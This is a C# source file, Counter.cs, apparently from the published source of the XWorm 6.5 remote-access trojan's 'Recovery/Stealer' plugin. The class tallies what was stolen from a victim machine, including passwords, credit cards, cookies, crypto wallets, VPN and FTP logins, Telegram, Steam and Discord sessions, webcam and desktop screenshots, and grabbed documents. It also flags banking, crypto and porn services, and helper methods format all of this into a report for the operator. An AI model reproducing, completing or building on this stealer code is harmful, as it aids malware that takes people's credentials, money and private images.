Files
XWorm-6.5-Source/Plugins/Recovery/Recovery/Stealer/Counter.cs
T
2026-08-27 11:22:34 -06:00

88 lines
2.2 KiB
C#

using System;
using System.Collections.Generic;
namespace Stealer
{
internal sealed class Counter
{
public static int Passwords = 0;
public static int CreditCards = 0;
public static int AutoFill = 0;
public static int Cookies = 0;
public static int History = 0;
public static int Bookmarks = 0;
public static int Downloads = 0;
public static int VPN = 0;
public static int Pidgin = 0;
public static int Wallets = 0;
public static int FTPHosts = 0;
public static bool Telegram = false;
public static bool Steam = false;
public static bool Uplay = false;
public static bool Discord = false;
public static int SavedWifiNetworks = 0;
public static bool ProductKey = false;
public static bool DesktopScreenshot = false;
public static bool WebcamScreenshot = false;
public static int GrabberDocuments = 0;
public static int GrabberSourceCodes = 0;
public static int GrabberDatabases = 0;
public static int GrabberImages = 0;
public static bool BankingServices = false;
public static bool CryptoServices = false;
public static bool PornServices = false;
public static List<string> DetectedBankingServices = new List<string>();
public static List<string> DetectedCryptoServices = new List<string>();
public static List<string> DetectedPornServices = new List<string>();
public static string GetSValue(string application, bool value)
{
return value ? ("\r\n ∟ " + application) : "";
}
public static string GetIValue(string application, int value)
{
return (value != 0) ? ("\r\n ∟ " + application + ": " + value) : "";
}
public static string GetLValue(string application, List<string> value, char separator = '∟')
{
value.Sort();
return (value.Count != 0) ? ("\r\n ∟ " + application + ":\r\n\t\t\t\t\t\t\t" + separator + " " + string.Join("\r\n\t\t\t\t\t\t\t" + separator + " ", value)) : ("\r\n ∟ " + application + " (No data)");
}
public static string GetBValue(bool value, string success, string failed)
{
return value ? ("\r\n ∟ " + success) : ("\r\n ∟ " + failed);
}
}
}